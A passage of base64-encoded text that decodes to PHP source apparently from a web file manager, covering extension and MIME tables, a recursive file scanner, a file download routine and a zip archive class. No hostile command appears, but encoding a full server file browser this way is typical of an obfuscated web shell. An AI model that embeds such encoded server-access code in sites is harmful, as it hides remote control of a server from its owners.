JzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdjc3YnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnYmFrJzoNCiAgICAgICAgY2FzZSAnc3dwJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdkb2MnOg0KICAgICAgICBjYXNlICdkb2N4JzoNCiAgICAgICAgY2FzZSAnb2R0JzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3BwdCc6DQogICAgICAgIGNhc2UgJ3BwdHgnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAndHRmJzoNCiAgICAgICAgY2FzZSAndHRjJzoNCiAgICAgICAgY2FzZSAnb3RmJzoNCiAgICAgICAgY2FzZSAnd29mZic6DQogICAgICAgIGNhc2UgJ3dvZmYyJzoNCiAgICAgICAgY2FzZSAnZW90JzoNCiAgICAgICAgY2FzZSAnZm9uJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAncGRmJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAncHNkJzoNCiAgICAgICAgY2FzZSAnYWknOg0KICAgICAgICBjYXNlICdlcHMnOg0KICAgICAgICBjYXNlICdmbGEnOg0KICAgICAgICBjYXNlICdzd2YnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2V4ZSc6DQogICAgICAgIGNhc2UgJ21zaSc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnYmF0JzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJzsNCiAgICB9DQoNCiAgICByZXR1cm4gJGltZzsNCn0NCg0KLyoqDQogKiBHZXQgaW1hZ2UgZmlsZXMgZXh0ZW5zaW9ucw0KICogQHJldHVybiBhcnJheQ0KICovDQpmdW5jdGlvbiBmbV9nZXRfaW1hZ2VfZXh0cygpDQp7DQogICAgcmV0dXJuIGFycmF5KCdpY28nLCAnZ2lmJywgJ2pwZycsICdqcGVnJywgJ2pwYycsICdqcDInLCAnanB4JywgJ3hibScsICd3Ym1wJywgJ3BuZycsICdibXAnLCAndGlmJywgJ3RpZmYnLCAncHNkJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKTsNCn0NCg0KLyoqDQogKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9ucw0KICogQHJldHVybiBhcnJheQ0KICovDQpmdW5jdGlvbiBmbV9nZXRfdmlkZW9fZXh0cygpDQp7DQogICAgcmV0dXJuIGFycmF5KCdhdmknLCAnd2VibScsICd3bXYnLCAnbXA0JywgJ200dicsICdvZ20nLCAnb2d2JywgJ21vdicsICdta3YnKTsNCn0NCg0KLyoqDQogKiBHZXQgYXVkaW8gZmlsZXMgZXh0ZW5zaW9ucw0KICogQHJldHVybiBhcnJheQ0KICovDQpmdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpDQp7DQogICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTsNCn0NCg0KLyoqDQogKiBHZXQgdGV4dCBmaWxlIGV4dGVuc2lvbnMNCiAqIEByZXR1cm4gYXJyYXkNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X3RleHRfZXh0cygpDQp7DQogICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAndHh0JywgJ2NzcycsICdpbmknLCAnY29uZicsICdsb2cnLCAnaHRhY2Nlc3MnLCAncGFzc3dkJywgJ2Z0cHF1b3RhJywgJ3NxbCcsICdqcycsICd0cycsICdqc3gnLCAndHN4JywgJ21qcycsICdqc29uJywgJ3NoJywgJ2NvbmZpZycsDQogICAgICAgICdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BocHMnLCAncGh0bWwnLCAnaHRtJywgJ2h0bWwnLCAnc2h0bWwnLCAneGh0bWwnLCAneG1sJywgJ3hzbCcsICdtM3UnLCAnbTN1OCcsICdwbHMnLCAnY3VlJywgJ2Jhc2gnLCAndnVlJywNCiAgICAgICAgJ2VtbCcsICdtc2cnLCAnY3N2JywgJ2JhdCcsICd0d2lnJywgJ3RwbCcsICdtZCcsICdnaXRpZ25vcmUnLCAnbGVzcycsICdzYXNzJywgJ3Njc3MnLCAnYycsICdjcHAnLCAnY3MnLCAncHknLCAnZ28nLCAnenNoJywgJ3N3aWZ0JywNCiAgICAgICAgJ21hcCcsICdsb2NrJywgJ2R0ZCcsICdzdmcnLCAnYXNwJywgJ2FzcHgnLCAnYXN4JywgJ2FzbXgnLCAnYXNoeCcsICdqc3AnLCAnanNweCcsICdjZ2knLCAnZG9ja2VyZmlsZScsICdydWJ5JywgJ3ltbCcsICd5YW1sJywgJ3RvbWwnLA0KICAgICAgICAndmhvc3QnLCAnc2NwdCcsICdhcHBsZXNjcmlwdCcsICdjc3gnLCAnY3NodG1sJywgJ2MrKycsICdjb2ZmZWUnLCAnY2ZtJywgJ3JiJywgJ2dyYXBocWwnLCAnbXVzdGFjaGUnLCAnamluamEnLCAnaHR0cCcsICdoYW5kbGViYXJzJywNCiAgICAgICAgJ2phdmEnLCAnZXMnLCAnZXM2JywgJ21hcmtkb3duJywgJ3dpa2knLCAndG1wJywgJ3RvcCcsICdib3QnLCAnZGF0JywgJ2JhaycsICdodHBhc3N3ZCcsICdwbCcNCiAgICApOw0KfQ0KDQovKioNCiAqIEdldCBtaW1lIHR5cGVzIG9mIHRleHQgZmlsZXMNCiAqIEByZXR1cm4gYXJyYXkNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X3RleHRfbWltZXMoKQ0Kew0KICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgJ2FwcGxpY2F0aW9uL3htbCcsDQogICAgICAgICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywNCiAgICAgICAgJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcsDQogICAgICAgICdpbWFnZS9zdmcreG1sJywNCiAgICAgICAgJ21lc3NhZ2UvcmZjODIyJywNCiAgICAgICAgJ2FwcGxpY2F0aW9uL2pzb24nLA0KICAgICk7DQp9DQoNCi8qKg0KICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3L28gZXh0ZW5zaW9ucw0KICogQHJldHVybiBhcnJheQ0KICovDQpmdW5jdGlvbiBmbV9nZXRfdGV4dF9uYW1lcygpDQp7DQogICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAnbGljZW5zZScsDQogICAgICAgICdyZWFkbWUnLA0KICAgICAgICAnYXV0aG9ycycsDQogICAgICAgICdjb250cmlidXRvcnMnLA0KICAgICAgICAnY2hhbmdlbG9nJywNCiAgICApOw0KfQ0KDQovKioNCiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnMNCiAqIEByZXR1cm4gYXJyYXkNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkNCnsNCiAgICByZXR1cm4gYXJyYXkoJ2RvYycsICdkb2N4JywgJ3hscycsICd4bHN4JywgJ3BkZicsICdwcHQnLCAncHB0eCcsICdhaScsICdwc2QnLCAnZHhmJywgJ3hwcycsICdyYXInLCAnb2R0JywgJ29kcycpOw0KfQ0KDQovKioNCiAqIEl0IHJldHVybnMgdGhlIG1pbWUgdHlwZSBvZiBhIGZpbGUgYmFzZWQgb24gaXRzIGV4dGVuc2lvbi4NCiAqIEBwYXJhbSBleHRlbnNpb24gVGhlIGZpbGUgZXh0ZW5zaW9uIG9mIHRoZSBmaWxlIHlvdSB3YW50IHRvIGdldCB0aGUgbWltZSB0eXBlIGZvci4NCiAqIEByZXR1cm4gc3RyaW5nfHN0cmluZ1tdIFRoZSBtaW1lIHR5cGUgb2YgdGhlIGZpbGUuDQogKi8NCmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pDQp7DQogICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2gnOw0KICAgICRmaWxlVHlwZXNbJ3BkZiddID0gJ2FwcGxpY2F0aW9uL3BkZic7DQogICAgJGZpbGVUeXBlc1snZXhlJ10gPSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvbi96aXAnOw0KICAgICRmaWxlVHlwZXNbJ2RvYyddID0gJ2FwcGxpY2F0aW9uL21zd29yZCc7DQogICAgJGZpbGVUeXBlc1sneGxzJ10gPSAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJzsNCiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvbi92bmQubXMtcG93ZXJwb2ludCc7DQogICAgJGZpbGVUeXBlc1snZ2lmJ10gPSAnaW1hZ2UvZ2lmJzsNCiAgICAkZmlsZVR5cGVzWydwbmcnXSA9ICdpbWFnZS9wbmcnOw0KICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZS9qcGcnOw0KICAgICRmaWxlVHlwZXNbJ2pwZyddID0gJ2ltYWdlL2pwZyc7DQogICAgJGZpbGVUeXBlc1snd2VicCddID0gJ2ltYWdlL3dlYnAnOw0KICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZS9hdmlmJzsNCiAgICAkZmlsZVR5cGVzWydyYXInXSA9ICdhcHBsaWNhdGlvbi9yYXInOw0KDQogICAgJGZpbGVUeXBlc1sncmEnXSA9ICdhdWRpby94LXBuLXJlYWxhdWRpbyc7DQogICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW8veC1wbi1yZWFsYXVkaW8nOw0KICAgICRmaWxlVHlwZXNbJ29nZyddID0gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvJzsNCg0KICAgICRmaWxlVHlwZXNbJ3dhdiddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7DQogICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW8veC1tc3ZpZGVvJzsNCiAgICAkZmlsZVR5cGVzWydhdmknXSA9ICd2aWRlby94LW1zdmlkZW8nOw0KICAgICRmaWxlVHlwZXNbJ2FzZiddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7DQogICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7DQoNCiAgICAkZmlsZVR5cGVzWydtcDMnXSA9ICdhdWRpby9tcGVnJzsNCiAgICAkZmlsZVR5cGVzWydtcDQnXSA9ICdhdWRpby9tcGVnJzsNCiAgICAkZmlsZVR5cGVzWydtcGVnJ10gPSAndmlkZW8vbXBlZyc7DQogICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW8vbXBlZyc7DQogICAgJGZpbGVUeXBlc1snbXBlJ10gPSAndmlkZW8vbXBlZyc7DQogICAgJGZpbGVUeXBlc1snbW92J10gPSAndmlkZW8vcXVpY2t0aW1lJzsNCiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlby9xdWlja3RpbWUnOw0KICAgICRmaWxlVHlwZXNbJzNncCddID0gJ3ZpZGVvL3F1aWNrdGltZSc7DQogICAgJGZpbGVUeXBlc1snbTRhJ10gPSAndmlkZW8vcXVpY2t0aW1lJzsNCiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlby9xdWlja3RpbWUnOw0KICAgICRmaWxlVHlwZXNbJ20zdSddID0gJ3ZpZGVvL3F1aWNrdGltZSc7DQoNCiAgICAkZmlsZVR5cGVzWydwaHAnXSA9IFsnYXBwbGljYXRpb24veC1waHAnXTsNCiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHQvaHRtbCddOw0KICAgICRmaWxlVHlwZXNbJ3R4dCddID0gWyd0ZXh0L3BsYWluJ107DQogICAgLy9Vbmtub3duIG1pbWUtdHlwZXMgc2hvdWxkIGJlICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nDQogICAgaWYoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHsNCiAgICAgICRmaWxlVHlwZXNbJGV4dGVuc2lvbl0gPSBbJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSddOw0KICAgIH0NCiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTsNCn0NCg0KLyoqDQogKiBUaGlzIGZ1bmN0aW9uIHNjYW5zIHRoZSBmaWxlcyBhbmQgZm9sZGVyIHJlY3Vyc2l2ZWx5LCBhbmQgcmV0dXJuIG1hdGNoaW5nIGZpbGVzDQogKiBAcGFyYW0gc3RyaW5nICRkaXINCiAqIEBwYXJhbSBzdHJpbmcgJGZpbHRlcg0KICogQHJldHVybiBhcnJheXxudWxsDQogKi8NCiBmdW5jdGlvbiBzY2FuKCRkaXIgPSAnJywgJGZpbHRlciA9ICcnKSB7DQogICAgJHBhdGggPSBGTV9ST09UX1BBVEguJy8nLiRkaXI7DQogICAgIGlmKCRwYXRoKSB7DQogICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7DQogICAgICAgICAkcmlpID0gbmV3IFJlZ2V4SXRlcmF0b3IoJGl0ZSwgIi8oIiAuICRmaWx0ZXIgLiAiKS9pIik7DQoNCiAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7DQogICAgICAgICAgICAgaWYgKCEkZmlsZS0+aXNEaXIoKSkgew0KICAgICAgICAgICAgICAgICAkZmlsZU5hbWUgPSAkZmlsZS0+Z2V0RmlsZW5hbWUoKTsNCiAgICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7DQogICAgICAgICAgICAgICAgICRmaWxlc1tdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAibmFtZSIgPT4gJGZpbGVOYW1lLA0KICAgICAgICAgICAgICAgICAgICAgInR5cGUiID0+ICJmaWxlIiwNCiAgICAgICAgICAgICAgICAgICAgICJwYXRoIiA9PiAkbG9jYXRpb24sDQogICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgfQ0KICAgICAgICAgfQ0KICAgICAgICAgcmV0dXJuICRmaWxlczsNCiAgICAgfQ0KfQ0KDQovKioNCiogUGFyYW1ldGVyczogZG93bmxvYWRGaWxlKEZpbGUgTG9jYXRpb24sIEZpbGUgTmFtZSwNCiogbWF4IHNwZWVkLCBpcyBzdHJlYW1pbmcNCiogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXMNCiogaW5zdGVhZCBvZiBkb3dubG9hZCBwcm9tcHQNCiogaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9hLzEzODIxOTkyLzExNjQ2NDINCiovDQpmdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KQ0Kew0KICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApDQogICAgICAgIHJldHVybiAoZmFsc2UpOw0KICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7DQoNCiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTsNCg0KICAgIGlmKGlzX2FycmF5KCRjb250ZW50VHlwZSkpIHsNCiAgICAgICAgJGNvbnRlbnRUeXBlID0gaW1wbG9kZSgnICcsICRjb250ZW50VHlwZSk7DQogICAgfQ0KDQogICAgJHNpemUgPSBmaWxlc2l6ZSgkZmlsZUxvY2F0aW9uKTsNCg0KICAgIGlmICgkc2l6ZSA9PSAwKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdaZXJvIGJ5dGUgZmlsZSEgQWJvcnRpbmcgZG93bmxvYWQnKSwgJ2Vycm9yJyk7DQogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCg0KICAgICAgICByZXR1cm4gKGZhbHNlKTsNCiAgICB9DQoNCiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTsNCiAgICAkZnAgPSBmb3BlbigiJGZpbGVMb2NhdGlvbiIsICJyYiIpOw0KDQogICAgaWYgKCRmcCA9PT0gZmFsc2UpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Nhbm5vdCBvcGVuIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpOw0KICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQogICAgICAgIHJldHVybiAoZmFsc2UpOw0KICAgIH0NCg0KICAgIC8vIGhlYWRlcnMNCiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTsNCiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsNCiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpOw0KICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeSIpOw0KICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGUiKTsNCg0KICAgICRjb250ZW50RGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCc7DQoNCiAgICBpZiAoc3Ryc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgIk1TSUUiKSkgew0KICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJy9cLi8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7DQogICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cIiRmaWxlTmFtZVwiIik7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiAkY29udGVudERpc3Bvc2l0aW9uO2ZpbGVuYW1lPVwiJGZpbGVOYW1lXCIiKTsNCiAgICB9DQoNCiAgICBoZWFkZXIoIkFjY2VwdC1SYW5nZXM6IGJ5dGVzIik7DQogICAgJHJhbmdlID0gMDsNCg0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9SQU5HRSddKSkgew0KICAgICAgICBsaXN0KCRhLCAkcmFuZ2UpID0gZXhwbG9kZSgiPSIsICRfU0VSVkVSWydIVFRQX1JBTkdFJ10pOw0KICAgICAgICBzdHJfcmVwbGFjZSgkcmFuZ2UsICItIiwgJHJhbmdlKTsNCiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxOw0KICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlOw0KICAgICAgICBoZWFkZXIoIkhUVFAvMS4xIDIwNiBQYXJ0aWFsIENvbnRlbnQiKTsNCiAgICAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogJG5ld19sZW5ndGgiKTsNCiAgICAgICAgaGVhZGVyKCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTIvJHNpemUiKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkc2l6ZTIgPSAkc2l6ZSAtIDE7DQogICAgICAgIGhlYWRlcigiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTIvJHNpemUiKTsNCiAgICAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuICRzaXplKTsNCiAgICB9DQogICAgJGZpbGVMb2NhdGlvbiA9IHJlYWxwYXRoKCRmaWxlTG9jYXRpb24pOw0KICAgIHdoaWxlIChvYl9nZXRfbGV2ZWwoKSkgb2JfZW5kX2NsZWFuKCk7DQogICAgcmVhZGZpbGUoJGZpbGVMb2NhdGlvbik7DQoNCiAgICBmY2xvc2UoJGZwKTsNCg0KICAgIHJldHVybiAoKGNvbm5lY3Rpb25fc3RhdHVzKCkgPT0gMCkgYW5kICFjb25uZWN0aW9uX2Fib3J0ZWQoKSk7DQp9DQoNCi8qKg0KICogSWYgdGhlIHRoZW1lIGlzIGRhcmssIHJldHVybiB0aGUgdGV4dC13aGl0ZSBhbmQgYmctZGFyayBjbGFzc2VzLg0KICogQHJldHVybiBzdHJpbmcgdGhlIHZhbHVlIG9mIHRoZSAgdmFyaWFibGUuDQogKi8NCmZ1bmN0aW9uIGZtX2dldF90aGVtZSgpIHsNCiAgICAkcmVzdWx0ID0gJyc7DQogICAgaWYoRk1fVEhFTUUgPT0gImRhcmsiKSB7DQogICAgICAgICRyZXN1bHQgPSAidGV4dC13aGl0ZSBiZy1kYXJrIjsNCiAgICB9DQogICAgcmV0dXJuICRyZXN1bHQ7DQp9DQoNCi8qKg0KICogQ2xhc3MgdG8gd29yayB3aXRoIHppcCBmaWxlcyAodXNpbmcgWmlwQXJjaGl2ZSkNCiAqLw0KY2xhc3MgRk1fWmlwcGVyDQp7DQogICAgcHJpdmF0ZSAkemlwOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICB7DQogICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyZWF0ZSBhcmNoaXZlIHdpdGggbmFtZSAkZmlsZW5hbWUgYW5kIGZpbGVzICRmaWxlcyAoUkVMQVRJVkUgUEFUSFMhKQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lDQogICAgICogQHBhcmFtIGFycmF5fHN0cmluZyAkZmlsZXMNCiAgICAgKiBAcmV0dXJuIGJvb2wNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRmaWxlbmFtZSwgJGZpbGVzKQ0KICAgIHsNCiAgICAgICAgJHJlcyA9ICR0aGlzLT56aXAtPm9wZW4oJGZpbGVuYW1lLCBaaXBBcmNoaXZlOjpDUkVBVEUpOw0KICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkgew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpOw0KICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGlmICgkdGhpcy0+YWRkRmlsZU9yRGlyKCRmaWxlcykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lDQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aA0KICAgICAqIEByZXR1cm4gYm9vbA0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiB1bnppcCgkZmlsZW5hbWUsICRwYXRoKQ0KICAgIHsNCiAgICAgICAgJHJlcyA9ICR0aGlzLT56aXAtPm9wZW4oJGZpbGVuYW1lKTsNCiAgICAgICAgaWYgKCRyZXMgIT09IHRydWUpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHRoaXMtPnppcC0+ZXh0cmFjdFRvKCRwYXRoKSkgew0KICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgZmlsZS9mb2xkZXIgdG8gYXJjaGl2ZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lDQogICAgICogQHJldHVybiBib29sDQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBhZGRGaWxlT3JEaXIoJGZpbGVuYW1lKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSkgew0KICAgICAgICAgICAgcmV0dXJuICR0aGlzLT56aXAtPmFkZEZpbGUoJGZpbGVuYW1lKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZW5hbWUpKSB7DQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmFkZERpcigkZmlsZW5hbWUpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5DQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aA0KICAgICAqIEByZXR1cm4gYm9vbA0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKQ0KICAgIHsNCiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOw0KICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgew0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KfQ0KDQovKioNCiAqIENsYXNzIHRvIHdvcmsgd2l0aCBU